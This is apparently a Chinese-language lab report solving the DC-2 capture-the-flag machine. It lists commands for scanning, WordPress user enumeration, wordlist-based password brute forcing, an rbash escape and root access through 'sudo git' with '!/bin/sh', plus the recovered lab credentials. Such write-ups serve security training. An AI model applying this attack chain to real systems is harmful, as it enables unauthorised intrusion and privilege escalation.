DC-2实验报告
第一步:渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
2、信息收集:寻找靶机真实IP
nmap -sP 192.168.150.128/24
第二步:收集端口信息和查看端口服务
nmap -A -p- -v 192.168.150.130
发现开放了80端口,存在web服务 还发现开放了7744端口,开放了ssh服务
第三步:访问web站点
http:// 192.168.150.130
我们可以清楚的看到DC-2访问不了,DC-2这个域名解析失败,我们需要更改hosts文件,添加一个IP域名指向,修改hosts文件,添加靶机IP到域名dc-2的指向
vim /etc/hosts
添加完成之后,再次访问,访问成功
可以很明显的发现这是一个wordpress的站点
第四步:发现flag1在网页下面我们flag
点击flag就可发现flag1
第五步:可以做一个目录扫描
dirb http://dc-2/
发现类似后台地址的链接
打开后我们进入到登录的页面
第六步:用户名枚举
上面我们提到这是一个wordpress的站,我们可以采用专门针对wordpress的工具wpscan工具来进行扫描
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
wpscan --url http://dc-2
发现wordpress的版本 4.7.10
再次回到登录页面尝试登录
随即输入用户名密码,提示用户名不存在,应该可以进行用户名枚举
首先来个用户枚举,再尝试利用枚举到的用户爆破密码
wpscan --url http://dc-2 --enumerate u
枚举出三个用户名分别是admin. Jerry. Tom
第七步:暴力破解出账号密码
在这里可以使用-w参数来将密码字典存储为text文件:cewl http://dc-2/ -w dict.txt 或者 cewl http://dc-2/ > 1.txt
可以使用wpscan进行暴力破解
wpscan --url http://dc-2 --passwords dict.txt
可以爆破出来两个账号
jerry/adipiscing
tom/parturient
可以先用jerry/adipiscing登录此站点
接着可以用tom/parturient登陆此站点
第八步:发现flag2
登录后台之后,我们看到flag2,当前我们使用的是jerry的账号
点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们可以去看看ssh
If you can't exploit WordPress and take a shortcut, there is another way.
如果你不能利用WordPress并采取一条捷径,还有另外一种方法。
Hope you found another entry point.
希望你找到了另一个入口。
第九步:在tom的家目录发现flag3
jerry/adipiscing
tom/parturient
登录ssh
ssh tom@192.168.150.130-p 7744
在tom账号的家目录 发现flag3
然后,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642(逃逸大全)
查看可以使用的命令
echo $PATH
可以看到cd进不去目录 使用ls直接查看目录信息
然后使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
第十步:可以在jerry的家目录发现flag4
然后我们看到提示信息
Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!
大致意思就是还没有结束。我们可以猜想一下需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
因为使用tom用户无权限运行sudo 所以我们可以切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
sudo -l
第十一步:提权
可以查看一下能使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
我们可以看到jerry用户也不可以直接sudo su
所以我们直接使用git命令进行提取
sudo git help status
然后我们接着输入!/bin/sh,直接输入就行
提权成功
第十二步:发现final-flag.txt
cd /root
cat final-flag.txt
由此我们可以看到DC-2就完成了,我们这个实验也就成功做完了。